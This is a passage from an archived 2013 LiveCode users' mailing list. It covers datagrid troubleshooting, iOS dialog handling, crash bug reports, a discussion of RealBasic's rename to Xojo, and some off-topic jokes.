repeatable crash, you should enter a bug report so they can fix it. Attach the crash log. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From mwieder at ahsoftware.net Wed May 8 13:27:55 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Wed, 8 May 2013 17:27:55 +0000 (UTC) Subject: [OT - I remembered this time]: here we go References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> <51892C07.1010604@warrensweb.us> <90333940445.20130507184002@ahsoftware.net> <00b701ce4b98$ff025c20$fd071460$@net> <102339465441.20130507201207@ahsoftware.net> <29344109381.20130507212931@ahsoftware.net> Message-ID: Peter Haworth writes: > What do you throw to a drowning bass player? > His amp. Ha! Definition of a quarter-tone: Two fretless bass players playing in unison. -- Mark Wieder mwieder at ahsoftware.net From jacque at hyperactivesw.com Wed May 8 13:30:45 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Wed, 08 May 2013 12:30:45 -0500 Subject: iOS: second stack in memory disrupts message flow In-Reply-To: <518A58A1.8030605@cogapp.com> References: <518A58A1.8030605@cogapp.com> Message-ID: <518A8BC5.3030501@hyperactivesw.com> On 5/8/13 8:52 AM, Ben Rubinstein wrote: > For now, I've rewritten things so that the prefs stack is opened, > everything is moved to globals, then the stack is immediately closed and > removed from memory; and on shutdown, the prefs stack is opened again, > globals are moved to properties, the stack is saved and then closed. > > This restores normal message routing - is it the best solution? I usually just reset the defaultstack. The topstack isn't always the defaultstack, so setting your main stack to topstack won't always work. Wrap the offending handler in a couple of lines of script that save the current defaultstack, do some work, and then reset the defaultstack. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From MikeKerner at roadrunner.com Wed May 8 14:14:04 2013 From: MikeKerner at roadrunner.com (Mike Kerner) Date: Wed, 8 May 2013 14:14:04 -0400 Subject: [OFF] The Competition Message-ID: If any of you have been keeping track of the competition, RealBasic is about to change names, licensing schemes, and will have their version of iOS app building available in December. There is no word on Android. They are also changing their name. So by my math, they are about 3 years behind as of today. Of course, if they have all-native controls then they are ahead on that front, as they are on Cocoa support. -- On the first day, God created the heavens and the Earth On the second day, God created the oceans. On the third day, God put the animals on hold for a few hours, and did a little diving. And God said, "This is good." From gcanyon at gmail.com Wed May 8 14:49:07 2013 From: gcanyon at gmail.com (Geoff Canyon) Date: Wed, 8 May 2013 13:49:07 -0500 Subject: [OFF] The Competition In-Reply-To: References: Message-ID: what are they changing their name to? On Wed, May 8, 2013 at 1:14 PM, Mike Kerner wrote: > If any of you have been keeping track of the competition, RealBasic is > about to change names, licensing schemes, and will have their version of > iOS app building available in December. > > There is no word on Android. > > They are also changing their name. > > > So by my math, they are about 3 years behind as of today. Of course, if > they have all-native controls then they are ahead on that front, as they > are on Cocoa support. > > -- > On the first day, God created the heavens and the Earth > On the second day, God created the oceans. > On the third day, God put the animals on hold for a few hours, > and did a little diving. > And God said, "This is good." > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From ambassador at fourthworld.com Wed May 8 14:54:56 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Wed, 08 May 2013 11:54:56 -0700 Subject: [OFF] The Competition In-Reply-To: References: Message-ID: <518A9F80.1040903@fourthworld.com> Mike Kerner wrote: > If any of you have been keeping track of the competition, RealBasic is > about to change names, licensing schemes, and will have their version of > iOS app building available in December. > > There is no word on Android. > > They are also changing their name. Links or it didn't happen. ;) But seriously, I see mention of "Xojo" in their blog, but it's not clear whether it's just a name change, or an acquisition, or what exactly the practical scope is beyond just new pricing. > So by my math, they are about 3 years behind as of today. Of course, if > they have all-native controls then they are ahead on that front, as they > are on Cocoa support. Cocoa is a biggie of course, but what exactly is a "native control"? On the desktop LiveCode takes a hybrid approach, using the OS routines to draw most of the object while using its internal text engine to render the label into the control's buffer. This has meant the label is sometimes off by a pixel or two (which I hope gets addressed soon), but provides us with a consistent way to address controls across all platforms, completely unaffected by any OS-specific considerations. On mobile, LiveCode has even more truly native controls, but in this current transitional state we have to write a lot of (frankly kinda dumb) scripts to use them. Kevin has noted that the plan is to have the engine map those scripted properties to the OS-native objects directly, so all those scripts will go away. In the meantime, it's merely tedious, but at least possible. On both mobile and desktop, LiveCode provides an intermediary layer which gives us a consistency independent of the specific target OS APIs. So just how "native" are RB's controls? Do they also put in the effort to provide a hybrid multi-platform solution for their scripters as LiveCode does, or do they merely provide access to the native APIs and expect everyone to write everything from scratch using the OS calls? -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com Follow me on Twitter: http://twitter.com/FourthWorldSys From richmondmathewson at gmail.com Wed May 8 15:08:49 2013 From: richmondmathewson at gmail.com (Richmond) Date: Wed, 08 May 2013 22:08:49 +0300 Subject: [OFF] The Competition In-Reply-To: References: Message-ID: <518AA2C1.6040302@gmail.com> On 05/08/2013 09:49 PM, Geoff Canyon wrote: > what are they changing their name to? > > Deadcode. From richmondmathewson at gmail.com Wed May 8 15:09:58 2013 From: richmondmathewson at gmail.com (Richmond) Date: Wed, 08 May 2013 22:09:58 +0300 Subject: [OFF] [RM] The Competition In-Reply-To: <518A9F80.1040903@fourthworld.com> References: <518A9F80.1040903@fourthworld.com> Message-ID: <518AA306.9010207@gmail.com> On 05/08/2013 09:54 PM, Richard Gaskin wrote: > > Cocoa is a biggie of course, but what exactly is a "native control"? > Why? Richmond. From shawnlivecode at gmail.com Wed May 8 15:14:10 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Wed, 8 May 2013 14:14:10 -0500 Subject: [OFF] The Competition In-Reply-To: <518A9F80.1040903@fourthworld.com> References: <518A9F80.1040903@fourthworld.com> Message-ID: Link: http://www.realsoftware.com/support/faq_xojo.php On Wed, May 8, 2013 at 1:54 PM, Richard Gaskin wrote: > > > Links or it didn't happen. ;) > > From mcgrath3 at mac.com Wed May 8 15:21:31 2013 From: mcgrath3 at mac.com (Thomas McGrath III) Date: Wed, 08 May 2013 15:21:31 -0400 Subject: US at conference? In-Reply-To: <31BDC56EACAAF64688457CE3F71D9F1A0113E76E@Peas2.byu.local> References: <17B94BE8-63D9-422F-8031-82395DD54B30@verizon.net> <31BDC56EACAAF64688457CE3F71D9F1A0113E76E@Peas2.byu.local> Message-ID: I will not be attending this year due to 'financial' reasons and neither will Victoria (for the same reasons). I will be on the simulcast however so drop by a camera and say hello to me??. Tom -- Tom McGrath III http://lazyriver.on-rev.com mcgrath3 at mac.com From lfredricks at proactive-intl.com Wed May 8 15:27:53 2013 From: lfredricks at proactive-intl.com (Lynn Fredricks) Date: Wed, 8 May 2013 12:27:53 -0700 Subject: [OFF] The Competition In-Reply-To: References: Message-ID: <86CF95155E434EB1A4B8B515739B5366@GATEWAY> > If any of you have been keeping track of the competition, > RealBasic is about to change names, licensing schemes, and > will have their version of iOS app building available in December. > > There is no word on Android. > > They are also changing their name. > > > So by my math, they are about 3 years behind as of today. Of > course, if they have all-native controls then they are ahead > on that front, as they are on Cocoa support. They've been working on Cocoa support for years now. Its great they are delivering on it. They have a rather peculiar release cycle and I am going to be interested to see if that changes. Licensing/pricing are linked and they divide up various functions. I can understand why the change of name - they changed from REALbasic to Real Studio, now to Xojo. REALbasic was at least descriptive. Naming of Xojo vs LiveCode I guess is a matter of opinion (and I do like Xojo as a name) but I like the fact that LiveCode tells you a bit more. Honestly, I think there is less and less competition here, now that LiveCode is open sourced and has mobile solutions right now. The customer base is quite different from what I can tell, just like it always has. There are Valentina versions for REAL Studio and, if the road isn't bumpy we will support Xojo too. Runtime's support of the LiveCode 3rd party add-on community is absolutely fabulous, so you know we are here to stay. You want to talk about competition? What about Director (cue sound of crickets...)? ;-) Best regards, Lynn Fredricks President Paradigma Software http://www.paradigmasoft.com Valentina SQL Server: The Ultra-fast, Royalty Free Database Server From mwieder at ahsoftware.net Wed May 8 15:28:36 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Wed, 8 May 2013 19:28:36 +0000 (UTC) Subject: [OFF] The Competition References: Message-ID: Mike- Thanks. Competition is good. Keeps everyone pushing the envelope. Maybe cutting the price in half is a response to the open-source initiative of some other product? I'd be more interested in RB if it weren't for B, so I think the name change is a good idea. -- Mark Wieder mwieder at ahsoftware.net From mwieder at ahsoftware.net Wed May 8 15:32:15 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Wed, 8 May 2013 19:32:15 +0000 (UTC) Subject: [OFF] The Competition References: Message-ID: I wrote: > Maybe cutting the price in half Dang. I misread the chart. Never mind. -- Mark Wieder mwieder at ahsoftware.net From shawnlivecode at gmail.com Wed May 8 15:36:14 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Wed, 8 May 2013 14:36:14 -0500 Subject: Anyone else experiencing crashes with Commercial Build 1513? In-Reply-To: <518A8AAA.4030008@hyperactivesw.com> References: <51896CFE.10102@hyperactivesw.com> <5189BDF1.6090007@hyperactivesw.com> <518A8AAA.4030008@hyperactivesw.com> Message-ID: Bug Report: http://quality.runrev.com/show_bug.cgi?id=10896 On Wed, May 8, 2013 at 12:26 PM, J. Landman Gay wrote: > On 5/8/13 7:05 AM, Andr? Bisseret wrote: > > With the new standalone as well but only until I tried to quit it. >> Then I got a crash (?) : I mean the screen of my mac (10.6.8) became >> completely empty and I had to force to turn off my mac. >> >> After several trials issuing the same problems, I am back to 5.0.2! >> > > Since this is a repeatable crash, you should enter a bug report so they > can fix it. Attach the crash log. > > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > From terry.judd at unimelb.edu.au Wed May 8 15:37:39 2013 From: terry.judd at unimelb.edu.au (Terry Judd) Date: Wed, 8 May 2013 19:37:39 +0000 Subject: Dismissing an answer dialog by script In-Reply-To: References: <23C7F0B6-F157-4BFB-B283-2B15CCE4296E@unimelb.edu.au> Message-ID: On 09/05/2013, at 01:20 AM, Paul Hibbert wrote: > Terry, you could roll-your-own answer dialog, maybe a substack or just a group, then you can easily dismiss it with script. > > Paul Thanks Paul - yes that's what I ended up doing (group method). Terry... > > On 2013-05-07, at 11:24 PM, Terry Judd wrote: > >> >> On 08/05/2013, at 03:15 PM, Terry Judd wrote: >> >>> Is it possible to display a standard answer dialog and then dismiss it by script if the user doesn't intervene? If so, will the method work on both mobile platforms as well? >> >> OK - it is possible on the desktop using a 'send in time' before throwing up the answer dialog (close stack "answer dialog") but I haven't been able to find a way to dismiss the answer dialog on iOS yet as it's not a stack and seems resistant to responding to virtual clicks and keypresses. Any ideas? >> >> Terry... Dr Terry Judd Senior Lecturer in Medical Education Medical Eduction Unit Faculty of Medicine, Dentistry & Health Sciences The University of Melbourne From shawnlivecode at gmail.com Wed May 8 15:39:35 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Wed, 8 May 2013 14:39:35 -0500 Subject: [OFF] The Competition In-Reply-To: References: Message-ID: I'm glad that I chose LC over RB. :) I'm a LiveCoder for the long haul. On Wed, May 8, 2013 at 2:32 PM, Mark Wieder wrote: > I wrote: > > > Maybe cutting the price in half > > Dang. I misread the chart. Never mind. > > -- > Mark Wieder > mwieder at ahsoftware.net > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From abilitybf at att.net Wed May 8 15:48:53 2013 From: abilitybf at att.net (Joe Hamburger) Date: Wed, 8 May 2013 12:48:53 -0700 (PDT) Subject: Data Grid Question In-Reply-To: References: <5179C0E3.3090802@economy-x-talk.com> <38B60E18-D904-42AA-9AC0-A121E3ACE493@verizon.net> <517A37F5.9080007@economy-x-talk.com> <517AE994.8080803@hindu.org> <51854112.9040002@economy-x-talk.com> <1367698110.84151.YahooMailRC@web181404.mail.ne1.yahoo.com> <1367861551.9648.YahooMailRC@web181404.mail.ne1.yahoo.com> Message-ID: <1368042533.36842.YahooMailRC@web181402.mail.ne1.yahoo.com> Hi again Mike, Yes, I am using the Table format and nothing happens when I click on the + at the bottom of the column part of the property inspector. Here's something else that's interesting. When the script reaches either set dgText of grp "CS Grid" to data1 or set the dgText of grp "CS Grid" to data1 then dgText becomes a custom property in the grid with data1 going into that property instead of populating the grid. What am I doing wrong? I'm thinking I need to uninstall livecode completely and re install it. There seems to be a problem with the underlying program. How do I do the uninstall? Joe Orlando, FL USA ________________________________ From: Mike Bonner To: How to use LiveCode Sent: Mon, May 6, 2013 1:42:50 PM Subject: Re: Data Grid Question Hmm. You are using a datagrid in table format right? Not form? If you are using the form and have set up your own datagrid template, then you can most likely just use the behavior script of the form do do what you need. (if this is the case, let me know and I'll figure out script modifications to make it work) If its the standard table type and you are on the columns pane of the property inspector, and have the column in question selected, then I don't know what the problem might be. You should be able to set up a custom column template (the plus button) and then modify its script. Since you're not able to do so then i'm not sure how to fix it. If you don't mind sharing the stack I (and others) could take a look at it and maybe figure out whats up. Of course if its your installation that is acting up and not something askew with the stack itself not sure how much help I could be that way either. I'd be willing to take a shot though if you want to send it. On Mon, May 6, 2013 at 11:32 AM, Joe Hamburger wrote: > Hi Mike, > > Thanks for the information. Unfortunately, there seems to be a few things > wrong > with my livecode program. One symptom is that every time I use it the > revpallet > becomes the top stack. The pertinant problem in this case though is the > "Column > Behavior..." button and the "+" button next to it are both disabled. Is > there > another way to achieve the constant line number column? I'm using Mac > version > 5.2.2. I'm not able to install the newer version either. > > Joe > Orlando, FL, USA > > > > ________________________________ > From: Mike Bonner > To: How to use LiveCode > Sent: Sat, May 4, 2013 4:20:30 PM > Subject: Re: Data Grid Question > > Look here... > >http://lessons.runrev.com/s/lessons/m/datagrid/l/7329-how-do-i-display-line-numbers-in-a-table >e > > > > On Sat, May 4, 2013 at 2:08 PM, Joe Hamburger wrote: > > > Hi, > > > > Is it possible to have a column in a data grid that doesn't change when > the > > other columns are sorted? What I'm trying to do is create a ranking > system > > of my > > accounts. The first column is the rank number so I want that to be > > constant and > > not sortable. I still want to scroll that column with the others so I > know > > the > > rank number of a line. Hopefully, there's a way to show the line numbers > > in a > > column? > > > > Thanks in advance for your help. > > > > Joe > > Ability Business Forms > > Orlando, FL USA > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From bonnmike at gmail.com Wed May 8 15:58:41 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Wed, 8 May 2013 13:58:41 -0600 Subject: Data Grid Question In-Reply-To: <1368042533.36842.YahooMailRC@web181402.mail.ne1.yahoo.com> References: <5179C0E3.3090802@economy-x-talk.com> <38B60E18-D904-42AA-9AC0-A121E3ACE493@verizon.net> <517A37F5.9080007@economy-x-talk.com> <517AE994.8080803@hindu.org> <51854112.9040002@economy-x-talk.com> <1367698110.84151.YahooMailRC@web181404.mail.ne1.yahoo.com> <1367861551.9648.YahooMailRC@web181404.mail.ne1.yahoo.com> <1368042533.36842.YahooMailRC@web181402.mail.ne1.yahoo.com> Message-ID: It sounds almost as if the datagrid substack has been removed. (the substack is added when you place a datagrid into your stack) the datagrid isn't functional without that substack. Is it there in the app browser? I also wonder if messages are locked or.. well not sure. If you start with a fresh new stack, drop a datagrid on it, and add data to the grid (even manually through the inspector) does it show? If you set the dgtext does it work? Are you having issues with every single stack that you use with a datagrid or just that stack? You might try adding a new empty datagrid to your stack, then delete it and when it asks if you want to delete the template stack, say no. Then test your other stack and see if it starts working. As for reloading LC, hard to say the best method without knowing OS. If its windows, you can probably uninstall it through the control panel. Linux, not sure. Mac not sure because i've never really had a problem that required a software removal. While at it, what version of lc are you on? If 6.0 community, i'd definitely grab the upgrade, it fixes a few issues. If you want to have your non-working stack looked at you're welcome to send it my way. Oh, just recalled one more thing. It might not hurt to remove the preferences file for LC, but I forget where they reside so you might need to dig around to locate. (appdata folder or somewhere therabout) From jiml at netrin.com Wed May 8 16:25:23 2013 From: jiml at netrin.com (Jim Lambert) Date: Wed, 8 May 2013 13:25:23 -0700 Subject: US at conference? In-Reply-To: References: Message-ID: Colin and those attending, See you there! Jim Lambert From dochawk at gmail.com Wed May 8 16:32:07 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Wed, 8 May 2013 13:32:07 -0700 Subject: are my datagrids misbehaving, or is it me. In-Reply-To: References: Message-ID: Bump. Can anyone figure out this example; I've included the very small stack as an attachment (ou'll need to drag a datagrid on before pushing the button; including it changes file sized from 2-3k to 20+k On Mon, May 6, 2013 at 2:56 PM, Dr. Hawkins wrote: > I've distilled my misbehaving datagrid down to this entry. > > Drag a fresh datagrid onto this card (it's over attachment size limits if I > include it). It will be named "dataGrid 1" > > Push the button, and the editor will immediately hit a breakpoint. > > At line 39, when the dgData is set, it behaves *mostly* as expected--except > that the first column gets grey blocks instead of data. > > These seem to be created by the setting of the dgData; they are opaque > pieces which are set not to be selectable. > > I've been blocked by this for weeks now . . . > > -- > Dr. Richard E. Hawkins, Esq. > (702) 508-8462 -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From gspearson at gmail.com Wed May 8 16:42:31 2013 From: gspearson at gmail.com (Graham Pearson) Date: Wed, 08 May 2013 16:42:31 -0400 Subject: Array Looping to Insert into Database In-Reply-To: References: <518A5568.3090002@gmail.com> Message-ID: <518AB8B7.6010301@gmail.com> Pete, Thanks on the reply. I have the XML stuff all working as this is the same data which my Adobe Air application uses on a daily basis. I am just wanting to convert it to Livecode so that I can use the same code base for desktop, tablet and mobile devices. Made some great progress today. On 5/8/2013 12:01 PM, Peter Haworth wrote: > Can't help with the XML stuff but it doesn't seem to difficult to use the > array. > > put the keys of gAvailableMarketDataArray[AvailableMarkets] into tKeys > sort tKeys -- if you care > repeat for each line L in tKeys > > end repeat > > If you're inserting/updating stuff into an sqlite database, don;t forget to > issue a BEGIN before the repeat loop, a COMMIT after the repeat loop, and > ROLLBACK if any errors occur within the repeat loop. Everything will work > much faster that way. > > Pete > lcSQL Software > > > On Wed, May 8, 2013 at 6:38 AM, Graham Pearson wrote: > >> Array Experts >> >> In my application that I am converting from Adobe Air, I have come to a >> section where Google has let me down. I have converted my XML File to an >> Array and can see it within the Debugger and parts of the array is >> listed below. >> >> gAvailableMarketDataArray >> AvailableMarkets >> Market[1] >> BTALatitude 27-29-40.1-N >> BTALongitude 81-24-59.3-W >> CallSign WNC905 >> City Sebring >> State FL >> @attributes >> ID 1 >> Market[2] etc. >> >> >> The application pulls the XML File from a Web Service that generates it >> on the fly. The application on first run checks to make sure the >> database exists and records are within it. At this point no records are >> retrieved from the database so I am struggling with how to take this >> array and insert each record of the array into the database. >> >> >> Or is their a command/function that I can use after >> >> put revCreateXMLTree(gClientAvailableMarketsXMLData, false, true, false) >> into tAvailableMarketData >> >> that will give me just the Market part of the XML data so then I can >> create the array which will simply list the Market[1] directly under the >> gAvailableMarketDataArray which will make it easier to insert the array >> into the sqlite database. >> >> >> >> >> >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From chay at embeddeddatasystems.com Wed May 8 17:19:46 2013 From: chay at embeddeddatasystems.com (Chay Wesley) Date: Wed, 8 May 2013 17:19:46 -0400 Subject: [OFF] The Competition In-Reply-To: <518A9F80.1040903@fourthworld.com> References: <518A9F80.1040903@fourthworld.com> Message-ID: On Wed, May 8, 2013 at 2:54 PM, Richard Gaskin wrote: > So just how "native" are RB's controls? http://www.realsoftwareblog.com/2013/04/why-native-controls-are-important.html -- Chay Wesley Embedded Data Systems From jacque at hyperactivesw.com Wed May 8 17:19:57 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Wed, 08 May 2013 16:19:57 -0500 Subject: [OT] Powered USB hub? Message-ID: <518AC17D.5050709@hyperactivesw.com> Okay you smart people: If I put an unpowered USB hub on a USB wall wart, will I get a powered USB hub? -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From revlist at azurevision.co.uk Wed May 8 17:28:38 2013 From: revlist at azurevision.co.uk (Ian Wood) Date: Wed, 8 May 2013 22:28:38 +0100 Subject: US at conference? In-Reply-To: References: <17B94BE8-63D9-422F-8031-82395DD54B30@verizon.net> <1337241978.20130507193504@ahsoftware.net> Message-ID: <0641E9F5-9914-46DF-8D72-61039315B358@azurevision.co.uk> Don't forget your luggage... :-) See you there! Ian On 8 May 2013, at 03:37, Andre Garzia wrote: > I am going! I arrive on the 12th :-D From ambassador at fourthworld.com Wed May 8 17:46:12 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Wed, 08 May 2013 14:46:12 -0700 Subject: [OFF] The Competition In-Reply-To: References: Message-ID: <518AC7A4.6020107@fourthworld.com> Chay Wesley wrote: > On Wed, May 8, 2013 at 2:54 PM, Richard Gaskin wrote: > >> So just how "native" are RB's controls? > > http://www.realsoftwareblog.com/2013/04/why-native-controls-are-important.html Thanks for that, Chay. And welcome to the LiveCode list. I'd come across that blog entry earlier when I was looking for information which might explain this Xojo move, but while it's a good discussion of why native controls are useful, it didn't explain what RB considers "native". So just how "native" are RB's controls? Do they also put in the effort to provide a hybrid multi-platform solution for their scripters as LiveCode does, or do they merely provide access to the native APIs and expect everyone to write everything from scratch using the OS calls? -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com Follow me on Twitter: http://twitter.com/FourthWorldSys From rdimola at evergreeninfo.net Wed May 8 18:05:05 2013 From: rdimola at evergreeninfo.net (Ralph DiMola) Date: Wed, 8 May 2013 18:05:05 -0400 Subject: [OT] Powered USB hub? In-Reply-To: <518AC17D.5050709@hyperactivesw.com> References: <518AC17D.5050709@hyperactivesw.com> Message-ID: <00ee01ce4c38$18ccd640$4a6682c0$@net> In a word yes. The unpowered hub is powered by the USB host port. The total current available to run any other unpowered device devices plugged into the hub will be the current the host USB port supplies minus the power the hub itself requires to operate. Ralph DiMola IT Director Evergreen Information Services rdimola at evergreeninfo.net Phone: 518-636-3998 Ex:11 Cell: 518-796-9332 -----Original Message----- From: use-livecode [mailto:use-livecode-bounces at lists.runrev.com] On Behalf Of J. Landman Gay Sent: Wednesday, May 08, 2013 5:20 PM To: LiveCode Mailing List Subject: [OT] Powered USB hub? Okay you smart people: If I put an unpowered USB hub on a USB wall wart, will I get a powered USB hub? -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From skip at magicgate.com Wed May 8 18:14:16 2013 From: skip at magicgate.com (Magicgate Software - Skip Kimpel) Date: Wed, 8 May 2013 18:14:16 -0400 Subject: DataGrid Selection Question Message-ID: I have a datagrid that when I double click on a line, it puts that line of data into a text field. I need to expand this and allow the user to select multiple line, right click and do the same thing... Here is what I am using for the doubleclick code: on mouseDoubleUp get the dgHilitedIndex of control "InOutData" put the dgDataOfIndex[it]of control "InOutData" into tLineData put tLineData["Name"] into myName put tLineData["Status"] into myStatus put tLineData["Date"] into myDate put tLineData["Time"] into myTime put tLineData["Note"] into myNote put myName&myStatus&TAB&myDate&TAB&myTime&TAB&myNote into myCompiledLine if field "FieldExport" = EMPTY then put myCompiledLine into field "FieldExport" else put cr & myCompiledLine after fld "FieldExport" end if set the vScroll of field "FieldExport" to the formattedHeight of field "FieldExport" end mouseDoubleUp How would I handle this for a selection as I described above? SKIP From pmbrig at gmail.com Wed May 8 20:26:49 2013 From: pmbrig at gmail.com (Peter M. Brigham) Date: Wed, 8 May 2013 20:26:49 -0400 Subject: are my datagrids misbehaving, or is it me. In-Reply-To: References: Message-ID: <01136F23-E0F6-476F-B041-6C4C96E5A99B@gmail.com> Attachments don't come through on this list. You'll have to post the stack on a website and send us a URL. -- Peter Peter M. Brigham pmbrig at gmail.com http://home.comcast.net/~pmbrig On May 8, 2013, at 4:32 PM, Dr. Hawkins wrote: > Bump. > > Can anyone figure out this example; I've included the very small stack > as an attachment (ou'll need to drag a datagrid on before pushing the > button; including it changes file sized from 2-3k to 20+k > > On Mon, May 6, 2013 at 2:56 PM, Dr. Hawkins wrote: >> I've distilled my misbehaving datagrid down to this entry. >> >> Drag a fresh datagrid onto this card (it's over attachment size limits if I >> include it). It will be named "dataGrid 1" >> >> Push the button, and the editor will immediately hit a breakpoint. >> >> At line 39, when the dgData is set, it behaves *mostly* as expected--except >> that the first column gets grey blocks instead of data. >> >> These seem to be created by the setting of the dgData; they are opaque >> pieces which are set not to be selectable. >> >> I've been blocked by this for weeks now . . . >> >> -- >> Dr. Richard E. Hawkins, Esq. >> (702) 508-8462 > > > > -- > Dr. Richard E. Hawkins, Esq. > (702) 508-8462 > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From ABMCLAWH at mailbox.sc.edu Wed May 8 20:35:13 2013 From: ABMCLAWH at mailbox.sc.edu (MCLAWHORN, TONY) Date: Thu, 9 May 2013 00:35:13 +0000 Subject: Livecode Usersguide In-Reply-To: References: Message-ID: So is the Livecode userguide revision 18 with a date of September 16, 2010 the latest there is? Dang... Has there not been any substantial changes in 3 years. -- |> | Tony McLawhorn | Computer Support Manager | Department of History | University of South Carolina | tonymac at sc.edu From coiin at verizon.net Wed May 8 20:45:26 2013 From: coiin at verizon.net (Colin Holgate) Date: Wed, 08 May 2013 20:45:26 -0400 Subject: feeling the blues... Message-ID: <424D9D19-5AAA-41BE-9857-A6C107FD4F9F@verizon.net> I'm doing screenshots towards a revision of my book. I'm using the Community version whenever possible, and I just took a screenshot of the preferences screen, where you set your iOS SDK location. The LC icon at that point is blue and not green. From mwieder at ahsoftware.net Wed May 8 21:12:26 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Wed, 8 May 2013 18:12:26 -0700 Subject: [OT - I remembered this time]: here we go In-Reply-To: References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> <51892C07.1010604@warrensweb.us> <90333940445.20130507184002@ahsoftware.net> <00b701ce4b98$ff025c20$fd071460$@net> <102339465441.20130507201207@ahsoftware.net> <29344109381.20130507212931@ahsoftware.net> Message-ID: <40418684689.20130508181226@ahsoftware.net> Pete- LOL. That's the best story I've heard in a while. Here's one more before I leave this thread (probably for musicians only): C, E-flat, and G go into a bar. The bartender says, "Sorry, but we don't serve minors." So E-flat leaves, and C and G have an open fifth between them. After a few drinks, the fifth is diminished, and G is out flat. F comes in and tries to augment the situation, but is not sharp enough. D comes in and heads for the bathroom, saying, "Excuse me; I'll just be a second." Then A comes in, but the bartender is not convinced that this relative of C is not a minor. Then the bartender notices B-flat hiding at the end of the bar and says, "Get out! You're the seventh minor I've found in this bar tonight." E-flat comes back the next night in a three-piece suit with nicely shined shoes. The bartender says, "You're looking sharp tonight. Come on in, this could be a major development." Sure enough, E-flat soon takes off his suit and everything else, and is au natural. Eventually C sobers up and realizes in horror that he's under a rest. C is brought to trial, found guilty of contributing to the diminution of a minor, and is sentenced to 10 years of D.S. without Coda at an upscale correctional facility. -- -Mark Wieder mwieder at ahsoftware.net From shawnlivecode at gmail.com Wed May 8 21:35:36 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Wed, 8 May 2013 20:35:36 -0500 Subject: [OT - I remembered this time]: here we go In-Reply-To: References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> <51892C07.1010604@warrensweb.us> <90333940445.20130507184002@ahsoftware.net> <00b701ce4b98$ff025c20$fd071460$@net> <102339465441.20130507201207@ahsoftware.net> <29344109381.20130507212931@ahsoftware.net> Message-ID: +1. Awesome story, lol. On Wed, May 8, 2013 at 11:08 AM, Peter Haworth wrote: > My friend and ex bandmate David Brewer is a bagpiper and told me this > story. > > As a bagpiper, I play many gigs. Recently I was asked by a funeral > director to play at a graveside service for a homeless man. He had no > family or friends, so the service was to be at a pauper's cemetery out in > the wilds of California. > > As I was not familiar with the backwoods, I got lost; and being a > typical man I didn't stop for directions. I finally arrived an hour late > and saw the funeral guy had evidently gone and the hearse was nowhere in > sight. There were only the diggers and crew left and they were eating > lunch. > I felt badly and apologized to the men for being late. > > I went to the side of the grave and looked down and the vault lid was > already in place. I didn't know what else to do, so I started to play. > The workers put down their lunches and began to gather around. I played > out my heart and soul for this man with no family and friends. I played > like I've never played 